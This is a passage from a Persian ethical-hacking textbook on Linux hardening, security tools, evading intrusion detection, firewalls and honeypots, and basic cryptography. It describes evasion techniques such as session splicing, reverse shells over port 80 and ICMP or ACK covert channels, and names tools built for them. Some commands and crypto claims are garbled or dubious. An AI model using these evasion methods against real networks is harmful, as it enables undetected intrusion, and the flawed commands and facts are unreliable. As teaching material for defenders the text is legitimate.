
  .براي مديران شبكه نيز بسيار سودمند است
  

Nessus :هاي آن را كشف كند از قبيل خطاها  تواند به سيستم هدف متصل شود و آسيب پذيري با اين ابزار، هكر مي
. هاي جديد سيستم دهند، و نيز آسيب پذيري در پيكربندي، تنظيمات پيش فرض كه به هكر اجازه دسترسي را مي

Nessusابزاري قدرتمند براي اسكن شبكه است ،.  

  
  

Xcrackگيرد، شروع  يع براي شكستن پسورد در لينوكس است كه با استفاده از ديكشنري كه از كاربر مي، ابزاري سر
  .كند به پيدا كردن پسوردها مي

  
  

شود چون كد آن در دسترس است و يافتن آسيب  لينوكس به عنوان سيستم عامل امن شناخته نمي

شوند همين  در لينوكس، بصورت پيش فرض نصب مي ها و نيز بسياري از برنامه. تر مي شود هاي سيستم راحت پذيري

  .شود كه آسيب پذيري آن بيشتر شود و امنيت آن از كاربري به كاربر ديگر متفاوت باشد سبب مي
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  هاي امن سازي لينوكس روش

از   با اجراي يكسري. ، فرآيند بهبود امنيت روي سيستم با ايجاد اصلاحاتي در آن است)hardening(امن سازي 

اولين گام در امن سازي سرور، لينوكس يا ويندوز، اين است . تواند بسيار امن شود هاي ايمن سازي، لينوكس مي روش

كه اجازه دسترسي فيزيكي هكر به . كه مطمئن شويم كه آن در مكان امني قرار دارد مثلا در مركز عمليات شبكه

  .گيرد سيستم را مي

  

مديران بايد مطمئن باشند كه پسورد . ترين معيار امنيتي، استفاده از پسورد پيچيده است دومين و واضح

  .امكان پذير است etc/shadow/هاي كاربر در فايل  نيست اينكار با بررسي اكانت nullها،  سيستم

اي  له شبكهاست براي امن سازي يك سيستم از يك حم deny allوضعيت امنيتي پيش فرض كه بصورت 

با استفاده از دستور . تواند براي كاربر خاصي، دسترسي را باز كند ، مدير ميdeny allبعد از بكار بردن . مناسب است

deny allدستور . هايي كه اجازه دسترسي ندارند، دسترسي ندارند شوند كه كاربران به فايل ، مديران مطمئن مي

  : رت زير استجلوگيري از دسترسي كاربران به شبكه بصو

Cat "All:All>> /etc/hosts.deny 

سيستم عامل لينوكس، تعدادي مكانيزم محافظت توكار دارد كه بايد با تغيير پارامترهاي كرنل سيستم در 

/proc filesystem  از طريق فايل/etc/sysctl.conf را فعال كنيدها آن.  

هاي غير مورد استفاده و اطمينان از به روز  يسديگر براي امن سازي سرور لينوكس، پاك كردن سرو هاي روش

هاي سيستم را بصورت مرتب بررسي كنند تا  همچنين مديران بايد لاگ. ها است patchها با آخرين  بودن سيستم

  .اي از حمله هستند را ببيند رخدادهاي غيرمعمول را كه نشانه
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  :جام شوند عبارتند ازتواند براي امن سازي يك سرور لينوكس ان اقدامات ديگري كه مي

 استفاده از توزيع شناخته شده و خوب لينوكس •

 هاي غير ضروري ها و سرويس عدم نصب برنامه •

 تغيير پسوردهاي پيش فرض •

 غير فعال كردن دسترسي از راه دور •

 IP tablesراه اندازي و فعالسازي  •

 )HIDS(نصب يك سيستم تشخيص نفوذ مبتني بر ميزبان  •

  .لاگهاي  استفاده از فايل •

  

  )IPTable(فايروال در لينوكس 

IPTable جايگزين ابزار ،ipchains توانايي . هاي فراواني است ها در كرنل لينوكس است و داراي قابليت

  :آورده شده استآن  هاي مثالاز در زير، برخي . شود بسته مي statfulردگيري ارتباطات، سبب نظارت 

iptables –A INPUT –s 0/0 –i eth0 –d 192.168.1.1 –p TCP –j ACCEPT 

آيند، به  مي IPاز هر آدرس  eth0هايي كه از اينترفيس  شود كه تمام بسته با اين دستور، به فايروال اجازه داده مي

  .است، مقصددهي شوند 192,168,1,1فايروال كه  IPآدرس 

iptables –A OUTPUT –p icmp –icmp-type echo-request –j ACCEPT  

هاي پاسخ  را ارسال كند و بسته) ICMP echo-request )pingشود كه  با اين دستور، به فايروال اجازه داده مي

ICMP را دريافت كند .  

  لينوكسابزارهاي 
SARA )Security Auditor’s Research Assistant( هاي تحليل امنيتي است كه بر پايه ابزار، نسل سوم از

  .است MAC OSهاي مختلف از قبيل لينوكس و  اين ابزار، در پلت فرم. باشد يونيكس مي
  

Tcpdumpتوانيد از اين ابزار براي حل مشكلات  شما مي. ها است ، ابزاري قدرتمند براي مانيتورينگ شبكه و داده
  .اي استفاده كنيد هاي شبكه يا مانيتور كردن فعاليت pingناسايي حملات شبكه، براي ش

  
Snortاين ابزار، داراي قابليت هشدار . كند ، يك استراق سمع كننده بسته است كه حملات را شناسايي و ثبت مي

  .شود ارسال مي syslogدهي است كه به 
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Netcatاي با استفاده از پروتكل  ارتباطات شبكه ها را از طريق شود كه داده ، به عنوان ابزار آچار سوئيسي شناخته مي

TCP  ياUDP تواند تقريبا هر نوع ارتباطي را كه نياز داريد، ايجاد كنيد و نيز  با اين ابزار مي. نويسد خواند يا مي مي
  .داراي  قابليتهاي جالب ديگري هم است

  
  

SAINTامنيتي است كه مبتني بر  ، ابزاري براي ارزيابيSATAN هايي همچون اسكن از طريق فايروال،  قابليت. است
  .باشد مي) اي، سبز قرمز، زرد، قهوه(امنيتي به روز شده دارد كه داراي چهار سطح امنيتي ) check(هاي  بررسي

  
Wireshark :و داراي رابط  هاي يونيكس و مبتني بر يونيكس است افزار آناليز ترافيك شبكه براي سيستم عامل نرم

  .گرافيكي است
  

  :ديگر ابزارهاي امنيتي براي سيستم عامل لينوكس عبارتند از
Abacus Port Sentry ،Hping2 ،Sniffit ،Nemesis ،LSOF ،IPTraf ،LIDS ،Hunt و ،. ...  
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 سيزدهم فصل

 

  ها ها و فايروال honeypotها،  IDSگريز از 
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  مقدمه

ها معيارهاي امنيتي هستند كه شما را مطمئن  honeypot، و ها ، فايروال)IDS(هاي تشخيص نفوذ  سيستم

، ها و فايروال) IDS(هاي تشخيص نفوذ  سيستم .دنك اديپتواند به شبكه يا سيستم شما دسترسي  هكر نميد نساز مي

 .ندنك بر اساس قوانين از پيش نوشته شده، ترافيك را مانيتور ميهاي فيلترينگ بسته هستند و  جز دستگاه

honeypotاز دسترسي به  او را شود تا اي براي هكر استفاده مي ، يك سيستم هدف جعلي است كه به عنوان طعمه

شناس امنيتي، شما بايد با نحوه كاركرد و ايجاد امنيت توسط آنها آشنا به عنوان يك كار. اهداف با ارزش دور نگه دارد

  .باشيد

  

  هاي گريز هاي تشخيص نفوذ و تكنيك انواع سيستم

حملات يا  signatureكنند و  ترافيك را مانيتور ميهايي هستند كه  هاي تشخيص نفوذ، سيستم سيستم

كه ترافيك را مانيتور  ها هستند packet snifferها،  IDSيكي از عناصر . كنند الگوهاي رفتاري غيرمعمول را كشف مي

، pager، پيغام هشداري از طريق ايميل، IDSشود، شركت ثبت  يامنيت eventزمانيكه رخدادي در ليست  .ندنك مي

هاي جلوگيري از  سيستم زمانيكه ترافيك مشكوكي در حال عبور باشد،. ندك ارسال مييا تلفن همراه به مدير سيستم 

 ،دوش يم ماجنا زمانيكه تلاشي براي نفوذ .دنده را انجام مي... ، اقداماتي از قبيل بلوكه كردن ترافيك و )IPS(حمله 

  .كنند از بروز حمله جلوگيري مياتوماتيك، ، بصورت IPSهاي  سيستم

  :وجود دارد) IDS(دو نوع سيستم تشخيص نفوذ 

Host-based: نابزيمهاي تشخيص نفوذ مبتني بر  سيستم )HIDS(هايي هستند كه بر روي يك  ، برنامه

شوند و ترافيك يا رويدادها را بر اساس ليستي از امضاهاي شناخته شده براي آن سيستم عامل،  سيستم نصب مي

  . را دارند  Cisco Securityو Norton Internet Securityهاي  agentها،  اين سيستم. دنكن فيلتر مي

  .را خاموش كنند HIDSتوانند  ها مي wormها و  بسياري از ويروس: هشدار
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Network-based: اي  بكههاي تشخيص نفوذ ش سيستم)NIDS(افزاري هستند كه در شبكه  هاي نرم ، دستگاه

اي مخرب كه توسط فايروال قابل شناسايي  فيك شبكهها، تنها به منظور شناسايي انواع ترا اين دستگاه. گيرند قرار مي

هاي آسيب پذير، حملات داده بر روي  هاي مخرب شامل حملات بر عليه سرويس ترافيك. شوند نيستند استفاده مي

هاي  و دسترسي به فايل غيرمجاز ياهدورواز قبيل افزايش دسترسي،  نابزيمهاي كاربردي، حملات مبتني بر  برنامه

، يك نفوذ امنيتي بالقوه را IDSسنسور . هاي پسيو هستند ها، سيستم اين سيستم. شوند ميها  malwareحساس، و 

  .كند ارسال مي يتيريدم لكند، و هشداري به كنسو كند، اطلاعات را ثبت مي شناسايي مي

  

  در شبكه IDSمكان 

  ابزارهاي هك
Snortها،  افزار استراق سمع كننده بلادرنگ بسته ، يك نرمHIDSهاي  ، و ابزار ثبت ترافيك است كه بر روي سيستم

دستور . ، پيكربندي كنيدsnort.confرا در فايل  IDSو  Snortتوانيد قوانين  شما مي. شود لينوكس و ويندوز نصب مي
  :به صورت زير است snortنصب و اجراي 

Snort –l c:\snort\log –c C:\snort\etc\snoft.conf –A console  
  

BlackICE ،دهد و در برابر تهديدات بر عليه  داراي سيستم تشخيص نفوذي است كه درباره حملات هشدار مي
  .كند محافظت مي) كلاينتي و سروري(هاي ويندوزي  افزار، از سيستم اين نرم. كند ها، مقاومت مي سيستم

  
IDS هاي ديگر عبارتند از :Dragon Sensor ،eTrust Internet Defense ،Lucent RealSecure ،RealSecure.  
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 هدافتسا anomaly detectionيا  signature analysis زا ،هلمح صيخشت يارب) IDS(سيستم تشخيص نفوذ 

هاي شناخته شده و الگوهاي  signature، ترافيك را با signatureهاي تشخيص نفوذ مبتني بر تشخيص  سيستم .دنك

ها كه براي حمله  اي از بسته ، الگويي است كه براي شناسايي يك يا مجموعهSignature. كند استفاده، مقايسه ميسو

كند، ممكن است به دنبال رشته  كه وب سرورها را كنترل مي IDSبراي مثال، يك  .شود شوند، استفاده مي استفاده مي

phf  بگردد براي اينكه نشان دهنده حملهCGI از  كه يتشخيص نفوذ هاي سيستم اما .استanomaly detection 

د و زمانيكه رفتار غيرطبيعي نگرد مي شخاصهاي حمله بر مبناي الگوهاي طبيعي ا د، به دنبال تلاشنكن استفاده مي

  .دننك د، آن را گزارش مينكنها مشاهده  ها، و لاگين ها، فايل در دسترسي به سيستم

  

اي  شناخته شده signatureتواند ترافيك را با  كند بنابراين، نمي عبور IDSتواند با تغيير ترافيك، از  هكر مي

انجام  ICMPبه جاي  HTTP، و يا TCPبه جاي  UDPتواند با استفاده از جايگزيني پروتكل  اين امر مي. مقايسه كند

مانيكه در مقصد، عبور كند اما ز IDSتواند يك حمله را به چند بسته كوچك بشكند تا از  علاوه بر اين، هكر مي. گيرد

برخي . شود شناخته مي session plicingاين كار با نام . شوند، نتيجه آن براي سيستم خطرناك باشد دوباره جمع مي

ها يا آدرس،  هاي زياد، استفاده از رمزگذاري براي داده هاي گريز از شناسايي، عبارتند از وارد كردن داده ديگر از روش

  .ست كلاينت جاريغيرهمزمان سازي و گرفتن نش

  

  :، انجام دادIDSاقداماتي كه بايد پس از شناسايي حمله توسط 

 هكر را فيلتر كند IPفايروال را پيكربندي كنيد تا آدرس  •

 )از طريق تلفن يا ايميل(به مدير شبكه اطلاع دهيد  •
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 Tivoliبه كنسول مديريتي همچون  SNMPيك ديتاگرام . ، يك وروردي جديد بنويسيدevent.logدر  •

 ارسال كنيد

 )و پورت قرباني، اطلاعات پروتكل IPهكر،  IPزمان، (اطلاعات حمله را ذخيره كنيد  •

 هاي آينده ذخيره كنيد را در يك فايل ردگيري براي تحليل هاي خام بسته •

براي خاتمه ارتباط  TCP RSTيا  TCP FINاز بسته  ديناوت يم را خاتمه دهيد براي اينكار TCPنشست  •

  استفاده كنيد

  

  IDSگريز از 

 راك) patern matching(هاي ساده، بر مبناي مقايسه الگو  هاي تشخيص نفوذ در بسياري از شبكه سيستم

اي دارند بنابراين، با ايجاد  هاي حمله، الگوهاي شناخته شده اسكريپت. دننك يم

توان حملات را شناسايي كرد اما با  ها، به راحتي مي اي از اين اسكريپت پايگاه داده

  .را دور زد IDSتوان  تغيير اسكريپت، مي

  

  ابزارهاي هك
ADMutate ، كند عملياتي است را ايجاد ميبراي انجام حمله، و اسكريپت ديگري كه است اسكريپت حمله يك .

  .را دور بزند IDSتواند  هاي شناخته شده نيست و بنابراين، مي signatureاسكريپت جديد، در پايگاه داده 
  

  .Anzen NIDSbenchو  SideStep ،Mendax ،Stick ،Fragrouter :برخي ديگر از ابزارها عبارتند از
  

  فايروال

دهد و از  را ميافزاري است كه اجازه يا عدم اجازه دسترسي به شبكه  افزاري يا سخت فايروال، يك برنامه نرم

افزاري  فايروال سخت. ها ار به شبكه بدهد كند تا اجازه عبور بسته قوانيني كه مدير مشخص كرده است، تبعيت مي

فايروال . گيرد متصل است، قرار مي) يا شبكه ديگر(، در لبه شبكه كه شبكه محلي به اينترنت )perimeter(محيط 

  .كند افزاري، از كامپيوتر شخصي محافظت مي نرم
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  : دهد كارهايي كه فايروال انجام مي

ها سازگار است  ruleكند تا ببيند كه آيا ترافيكي با يكي از  فايروال، تمام ترافيك بين دو شبكه را بررسي مي •

 يا نه

 كند ها مسيردهي مي شبكهها را بين  بسته •

 كند دسترسي عمومي به منابع شبكه خصوصي را مديريت مي •

كند و زمانيكه كسي قصد دسترسي غيرمجاز را داشته  ها براي ورود به شبكه خصوصي را ثبت مي تمام تلاش •

  .دهد مي رادشه باشد،

  

  انواع فايروال

  :شوند ها به چهار دسته تقسيم مي فايروال

• Packet filters:  در لايهnetwork  از مدلOSI در اين نوع . كند و معمولا بخشي از روتر است كار مي

مبدا و مقصد، شماره  IPتوانند شامل آدرس  ها مي rule. شوند ها قبل از ارسال، مقايسه مي فايروال، بسته
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ر زيادي در ها اين است كه تاثي مزيت اين فايروال. پورت مبدا و مقصد، و پروتكل مورد استفاده باشند

performance اغلب روترها، . شبكه ندارند و هزينه آنها پايين استpacket filtering كنند رو پشتيباني مي. 

• Circuit level gateways:  در لايهsession  از مدلOSI ها،  اين فايروال .كند كار ميTCP handshaking 

 circuit-levelاز طريق  هايي كه بسته. نشست را تعيين كندن دوكنند تا قانوني ب ها مانيتور مي را بين بسته

gateway رسند كه از  رسند اينگونه به نظر مي ها به كامپيوتر ميgateway ها،  اين فايروال .اند شده توليد

 .كنند ها، اطلاعات شبكه خصوصي را مخفي مي همچنين اين نوع فايروال. نسبتا ارزان هستند

• Application level gateways:  اينgateway توانند  شوند كه مي ها با نام پروكسي هم شناخته مي

، به عنوان application-level gatewayاگر يك . فيلتر كنند OSIمدل  applicationها را در لايه  بسته

web proxy ندي شود، اجازه عبور ترافيك بپيكرFTP ،gopher ،telnet  دهد و از آنجائيكه در  را نمي... و

 .را فيلتر كند getو  http:postتواند دستورات خاصي از قبيل  كند، مي كار مي applicationلايه 

• Stateful multilayer inspection firewalls: هاي سه نوع فايروال را ادغام  ها، جنبه اين نوع فايروال

كنند تا قانوني بودن نشستي  فيلتر مي OSIاز مدل  networkها را در لايه  ها، بسته اين نوع فايروال. كنند مي

ها، گران هستند و  اين نوع فايروال. كنند ارزيابي مي applicationها را در لايه  را تعين كنند و محتواي بسته

  .نياز به دانش كافي براي مديريت دستگاه دارند

، و Port Scanning ،Firewalkingهاي  توان از تكنيك مي) نوع، نسخه، و قوانين(براي شناسايي فايروال 

Banner Grabbing استفاده كرد .Firewalkingاي كه پشت فايروال است،  ت از شبكهآوري اطلاعا ، روشي براي جمع

هاي  هايي هستند كه هنگام اتصال به سرويس، توسط سرويس ، پيامBanner Grabbing همچنين. تسا ،باشد مي

اين يك روش ساده براي شناسايي . كنند شوند و سرويس در حال اجرا روي سيستم را اعلام مي اي ارسال مي شبكه

سه سرويس . كند هاي در حال اجرا در پشت فايروال كمك مي سرويس سيستم عامل است همچنين در شناسايي

 telnetبراي مثال . هستند Webو  FTP ،Telnetكنند، سرورهاي  كه بنرها را ارسال مي اصلي

mail.targetcompany.org 25 يك ،SMTP banner grabbing است.  

اي بر روي سيستم داخلي است كه با  شبكه افزار ها براي نفوذ به فايروال، نصب نرم ترين روش يكي از ساده

براي استفاده وب سرورها  80معمولا پورت . كند استفاده از پورتي كه اجازه عبور از فايروال را دارد، ارتباط برقرار مي

  .ها باز است در فايروال

. مورد اعتماد فايروال است شخبترين روش براي دور زدن فايروال، حمله به سيستم از طرف داخل يا  آسان

. تواند از طريق فايروال، از شبكه داخلي به شبكه بيرون و سيستم هكر متصل شود سپس سيستم به خطر افتاده مي

است كه مشابه اتصال  80هكر از طريق پورت  ترين روش براي اينكار، اتصال سيستم به خطر افتاده به سيستم رايج

  .شود شناخته مي reverse WWW shellاين روش با نام . يك كلاينت به يك وب سرور از طريق فايروال است
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شود،  مي 80ها، اجازه اتصالات خروجي كه به پورت  براي اينكه اغلب فايروال دهد مي باوجاين نوع حمله 
  دهند را مي

  

، فايروال را دور بزند و حمله را به عنوان ترافيك بي HTTPتواند با استفاده از تانل براي ارسال ترافيك  هكر مي

توانند  هاي هك مي برنامه. خطر به فايروال نشان دهد اين حملات براي مديران سيستم، غير قابل ردگيري هستند

، ICMPهاي  ها و پاسخ ق يك مسير مجاز مثل درخواستايجاد كنند و ترافيك حمله را از طري covertهاي  كانال

 TCP، تانل زدن ترافيك حمله به عنوان يك بازخورد covertروش ديگر براي استفاده از كانال . انتقال دهند

)acknowledgment (است.  

  ابزارهاي هك
007 Shell برنامه ،shell-tunneling دهد كه از يك كانل  است كه به هكر اجازه ميcovert  براي حمله و دور زدن

  .قوانين فايروال استفاده كند
  

ICMP Shellاي مشابه  ، برنامهTelnet  است كه هكر براي ايجاد ارتباط با يك سيستم با استفاده از دستوراتICMP 
  .دنك استفاده مي) دهند ها اجازه مي كه اغلب فايروال(
  

AckCmd هاي  سروري است كه تنها با استفاده از بسته/ ، برنامه كلاينتTCP ACK تواند  كند و مي ارتباط برقرار مي
  .از فايروال عبور كند

  
Covert_TCPكند كه اينكار را با ارسال يك  اي است كه هكر براي ارسال فايل از طريق فايروال استفاده مي ، برنامه

  .دهد انجام مي IPداده در هدر  بايت در هر لحظه و با مخفي كردن
  
  

  ابزارهاي تست
Traffic IQ Professionalهاي امنيتي است كه ترافيك استاندارد يا  ، ابزاري براي تست سريع و راحت دستگاه

هاي  تواند براي ارزيابي، بررسي، و تست ويژگي افزار مي اين نرم. كند ترافيك حمله، بين دو ماشين مجازي ايجاد مي
  :رفتاري هر دستگاه فيلترينگ بسته استفاده شود از قبيل

• Application layer firewalls 

• Intrusion Detection Systems 

• Intrusion Prevention Systems 

• Routers and Switches 
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TCPOpera براي تست رفتار  ار، با ايجاد ترافيك، محيطيIDS كند فراهم مي.  
  

Firewall Informerهاي ديگر فيلترينگ بسته از قبيل روتر و سوئيچ  ، پيكربندي و كارايي هر نوع فايروال يا دستگاه
كه از  BLADEافزار  افزار، از نرم اين نرمپذيري محصولات،  بيسبرخلاف ديدگاه پسيو در ارزيابي آ. كند را ارزيابي مي
راي تست امنيت زيرساخت در برابر تهديدات گيرد، ب بهره مي) حمله شبيه سازي شده براي حمله( SAFEتكنولوژي 

  .كند جهان واقعي، استفاده مي
  

Atelier Web Firewall Tester ابزاري براي بررسي قدرت فايروال شخصي در برابر تلاش براي ارتباطات خروجي از ،
كنند و  را برقرار مي HTTPنوع تست دارد كه هر كدام از آنها يك ارتباط  6افزار،  اين نرم. هاي غيرمجاز است برنامه

  .كنند كه صفحه وب دانلود كنند سعي مي
  
  

Honeypot  

honeypot دامي است كه در ،DMZ و توسط متخصصان امنيتي براي به دام انداختن  گيرد شبكه شما قرار مي

است كه ممكن است هكر  دام، يك Honeypot. شود هكرها يا براي دور نگه داشتن آنها از سيستم هدف استفاده مي

اين . را ثبت كند IPتواند اطلاعات مربوط به هكر از قبيل آدرس  افزار سيستم، مي و نرم سعي كند كه به آن حمله كند

، جلوي فايروال honeypotبهترين مكان براي يك . دستگيري هكر پس از حمله كمك كندتواند براي  اطلاعات مي

با يك آدرس استاتيك، شبيه يك سرور  honeypotيك . كند است كه آن را براي هكرها بسيار جذاب مي DMZروي 

   .واقعي است
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  honeypotانواع مختلف 

• Honeypot  با تعامل كم)Low-interaction :( از قبيلSpecter ،Honeyd و ،KFSensr. 

• Honeypot  با تعامل متوسط)Medium-interaction( 

• Honeypot  با تعامل زياد)High-interaction :( از قبيلHoneynets  

  

  :honeypotمزاياي 

• False positive دهد را كاهش مي 

 دهد را كاهش مي false negativeگيرد و  حملات جديد را مي •

 كند كار مي IPv6هاي رمز شده يا  در محيط •

  اي است كه به منابع كمي نياز دارد مفهوم ساده •

  

  )high-interactionمخصوصا در نوع ( تسا ييلاابريسك  ياراد هك تسا نيا honypot بيع

  

  در شبكه honeypotمحل قرار گيري 

Honeypot  بايد در جلوي فايروال رويDMZ همچنين به خاطر داشته باشيد كه نبايد براي مدت طولاني  .قرار گيرد

  دهد را در شبكه نشان مي honeypotشكل زير نمايي از محل قرار گيري . در يك جاي ثابت قرار گيرد
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اجرا كند تا اين  anti-honeypotافزار  تواند يك نرم ها مي honeypotتوسط  براي گريز از به دام افتادنهكر 

در . در حال اجرا است يا نه، و آن را به هكر اطلاع دهد honeypotافزار، مشخص كند آيا بر روي سيستم هدف،  نرم

افزارهاي  بسياري از نرم. جلوگيري كند honeypotتلاش كند تا از شناسايي شدن توسط  تواند اين روش، هكر مي

anti-honeypotبر روي سيستم را با ليستي از افزار در حال اجرا  ، نرمhoneypot  هاي معروف از قبيلhoneyd  و ...

  .كنند بررسي مي

  ابزارها
Honeypot  ها هم بصورت تجاري و هم بصورتopen source وجود دارند:  

Honeypot هاي تجاري:  
• KFSensor 

• NetBait 

• ManTrap 

• Spector 

  

Joneypot  هايopen source:  
• Bubblegum 

• Jackpot 

• BackOfficer Friendly 

• Bait-n-Switch 

• Bigeye 

• HoneyWeb 

• Deception Toolkit 

• LaBrea Tarpit 

• Honeyed 
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• Honeynets 

• Sendmail SPAM Trap 

• Tiny Honeypot  
  

Specter يك ،honeypot تواند بصورت اتوماتيك اطلاعات ماشين هكر را در حال هك سيستم، بدست  است كه مي
  .آورد
  

Honeyd يك ،honeypot  كند و هدفي براي هكرها  هاي مجازي بر روي شبكه ايجاد مي نيشاماپن سورس است كه
  .شود مي
  

KFSensor يك ،HIDS كه به عنوان  استhoneypot ها را  هاي مجازي و تروجان تواند سرويس كند و مي عمل مي
  .شبيه سازي كند

  
Sebek ابزار ،honeypot آورد ها است كه كليدهاي فشرده شده توسط هكر را بدست مي براي گرفتن داده.  

  

Honeypot فيزيكي و مجازي  

Honeypot يك ماشين واقعي بر روي شبكه است كه داراي آدرس  ،فيزيكيIP  است و اغلب بصورتhigh-

interaction ها، پرهزينه  نصب و نگهداري اين سيستم .دهد و اجازه به خطر افتادن سيستم را بطور كامل مي تسا

 honeypotشود كه به ترافيك شبكه كه به سمت  هاي ديگر شبيه سازي مي مجازي، توسط ماشين Honeypot .است

فيزيكي براي  honeypotسازي  هاي با فضاي آدرس بزررگ، پياده براي محيط. دهد شود، پاسخ مي مجازي ارسال مي

  .هاي مجازي استفاده كرد honeypotتواند از  ر اين حالت، مي، غيرممكن است دIPهر آدرس 

  ابزارهاي هك
Send-Safe Honeypot Hunter ابزار شناسايي ،honeypot  است كهhoneypot  كند مي يياسانشها را.  

  
Nessus Vulnerability Scannerتواند براي شناسايي  ، نيز ميhoneypot ها مورد استفاده قرار گيرد.  
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 چهاردهم فصل

 

 رمزنگاري
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، تبديل پيام از حالت قابل نگاريدر واقع، رمز. هاي رمزگذاري است رمزنگاري، مطالعه رمزگذاري و الگوريتم

ها به  تبديل دادههدف از رمزگذاري، . و برعكس است) cipher text(به حالت غير قابل درك ) clear text(درك 

رمزگذاري براي امن سازي . ها را بخواند حالتي است كه استراق سمع كننده يا كسي كه رمز را ندارد، نتواند داده

اين فصل، رمزنگاري و  .كند هاي مورد استفاده در رمزگذاري را تعريف مي رمزنگاري، تكنيك. ارتباطات است

  .هاي رمزگذاري را توضيح خواهد داد الگوريتم

  

  

  هاي رمزنگاري و رمزگذاري تكنيك

رمزنگاري، مطالعه . شود ها در طول ارسال يا ذخيره بر روي هارد، استفاده مي رمزگذاري، براي رمز كردن داده

كسي آن فرمول را نداشته باشد نتواند آنها را  اگر هاي رياضي است تا درباره محافظت از اطلاعات توسط فرمول

  .رمزگذاري نام دارند هاي هاي رياضي، الگوريتم اين فرمول. رمزگشايي كند

جايگزيني كاراكترها با كاراكترهاي ( substitutionاي چون  هاي ساده توانند از روش هاي رمزگذاري مي الگوريتم

هاي رمزگذاري، محاسبات رياضي بر پايه  الگوريتم. استفاده كنند) هاتغيير ترتيب كاراكتر( transpositionو ) ديگر

substitution  وtransposition رمزگذاري كليد متقارن و نامتقارن استدو نوع اصلي رمزگذاري، . هستند.  
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ها، از يك كليد استفاده  رمزگذاري كليد متقارن، به اين معني است كه براي رمزگذاري و رمزگشايي داده

ايراد اين روش اين است كه روشي مطمئن براي به اشتراك گذاشتن كليد بين چندين سيستم وجود ندارد و . شود مي

  .هاي بزرگ از قبيل اينترنت، عملي نيست هاي آفلاين استفاده كرد و اينكار در محيط براي اين منظور بايد از روش

  

در اين روش، از دو  .توزيع كليد متقارن بوجود آمدكليد نامتقارن، براي پوشش ضعف مديريت و  يراذگرمز

  .شود كليد يكي براي رمزگذاري و ديگري براي رمزگشايي استفاده مي

  

  

  نحوه توليد كليدهاي عمومي و خصوصي

: كنند كنند، هر دو، جفت كليدهاي خود را توليد مي نامتقارن استفاده مي يراذگزمانيكه كلاينت و سرور از رمز

زوج كليدهاي هر كدام از . كليد عمومي سرور، كليد خصوصي سرور، كليد عمومي كلاينت، كليد خصوصي كلاينت

با يكي از كليدها و رمزگشايي توسط كليد ديگر را ها  اينها رابطه رياضي با يكديگر دارند كه اجازه رمزگذاري داده

اي كه توسط يكي از  شود داده اين كليدها، بر اساس اعداد اول، با يكديگر رابطه رياضي دارند كه سبب مي. دهند مي

زمانيكه كلاينت و سروري بخواهند . اين كليدها رمزگذاري شده است، تنها توسط كليد ديگر آن جفت رمزگشايي شود

فرستد اما كليد خصوصي خود  كديگر ارتباط برقرار كنند، هر كدام از آنها، كليد عمومي خود را به سيستم ديگر ميبا ي

شوند و تنها با كليد خصوصي گيرنده قابل رمزگشايي  دريافت كننده رمز ميها با كليد عمومي  پيغام. كند را اعلام نمي

  .هستند
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  Blowfish، و MD5 ،SHA ،RC4 ،RC5هاي  نگاهي به الگوريتم

تر بودن الگوريتم  طولاني بودن كليد به معناي قوي. بيت متفاوت است 448تا  40ها از  طول كليد الگوريتم

كشد  ثانيه طول مي 0,2دقيقه تا  1,4، از brute-forceبيتي با استفاده از حمله  40شكستن كليد . رمزگذاري است

روز  37سال تا  50بيتي، بين  64در مقايسه، شكستن يك كليد . داردكه بستگي به قدرت كامپيوتر پردازش كننده 

بيتي، غير قابل  256در حال حاضر، هر كليدي با طول . كشد كه باز هم بستگي به سرعت پردازنده دارد طول مي

  .شكستن است

  

MD5 ،SHA ،RC4 ،RC5 و ،Blowfish هاي رياضي مختلفي هستند كه براي رمزگذاري استفاده  الگوريتم

  .شوند مي

MD5:  يك الگوريتمhashing  با طول تصادفي بيتي، از ورودي  128 خلاصه پيام براي توليد يكاست كه

فرآيند امضاي ديجيتالي، . ها بسيار رايج است استفاده از امضاي ديجيتالي براي تائيد اسناد و ايميل. كند استفاده مي

  .شود خصوصي ارسال كننده، رمز مي از سند است كه با كليد MD5پيام خلاصه شامل ايجاد 

SHA:  كند ها ايجاد مي دهبيتي از دا 160پيام خلاصه يك .SHAتر از  ، اندكي طولانيMD5  ،است و بنابراين

  .تفاده توسط دولت استسيك الگوريتم مورد دلخواه براي ا SHA. شود به عنوان رمزگذاري قدرتمندي شناخته مي

RC4  وRC5: RC4  يك الگوريتم كليد متقارن و يكstreaming cipher  است اين بدان معني است كه در

، نسل RC5. كند از جايگشت تصادفي رياضي و اندازه متغير كليد استفاده مي RC4. شود هر لحظه يك بيت رمز مي

، با كليدهايي به اندازه RC5. كند ها و كليدهايي با اندازه مختلف استفاده مي بلوكاز  RC5. بعدي الگوريتم است

  .استشكسته شده  256كوچكتر از 

Blowfish: blowfih بلوك ،cipher  ها رمزگذاري  ها را در بلوك بيتي است يعني اينكه داده 64به اندازه

   .بيتي دارد 448و  32تر است و كليدي متغير به اندازه  قوي stream cipherاين روش، از . كند مي

  

SSH  

SSH  هك. كند شده ايجاد مي ، اجراي دستورات، و انتقال فايل به سيستم ديگر در شبكه، تونل رمزدوروبراي 

  .است SFTPاست كه شامل  SSHتر  نيز نسخه امن SSH2. شود محسوب مي telnetجايگزين مطمئني براي 
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كنند، تا حدي  بيتي استفاده مي 56هايي كه از كليد  الگوريتم .دشو نميبيتي استفاده  40 هاي الگوريتم زا
امن هستند ولي انتظار بيتي،  64هاي  الگوريتم هزورما. كنند ولي آسيب پذيرند حريم خصوصي را ايجاد مي

شكستن . بيتي، غير قابل شكستن هستند 128هاي  الگوريتم. رود كه به زودي شكسته شوند مي
  .غير ممكن است بيتي، 256هاي  الگوريتم

  
  

  ابزارها
Advanced File Encryptorهاي بسيار مهم از قبيل اطلاعات بانكي،  ، ابزاري براي رمزگذاري و امن سازي فايل

كند و  براي رمزگذاري استفاده مي AESبيتي  256اين برنامه از كليد . ها، و يا هر فايل با ارزش ديگر است لايمي
  . كند كه اطلاعات امن هستند تضمين مي

  
Command Line Scriptor ديجيتالي، و تصديق هويت را بصورت اتوماتيك ، عمليات رمزگذاري، رمزگشايي، امضاي

  .ها را بدون مداخله كاربر و بصورت امن ارسال كرد ها و ايميل فايل توان با استفاده از اين برنامه مي. دهد انجام مي
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PGPرود بكار مي... ها، و  ها، امضاهاي ديجيتالي، فشرده سازي داده افزاري است كه براي رمزگذاري پيام ، بسته نرم .

  .هاي مختلف قابل استفاده است افزار در پلت فرم اين نرم

  
  

 Encryption Engine ،Encrypt PDF ،Encrypt Easy ،Encrypt: برخي ديگر از ابزارها براي رمزنگاري عبارتند از

My Folder ،Advanced HTML Encrypt and Password Protect ،Alive File Encryption ،Omziff ،ABC 

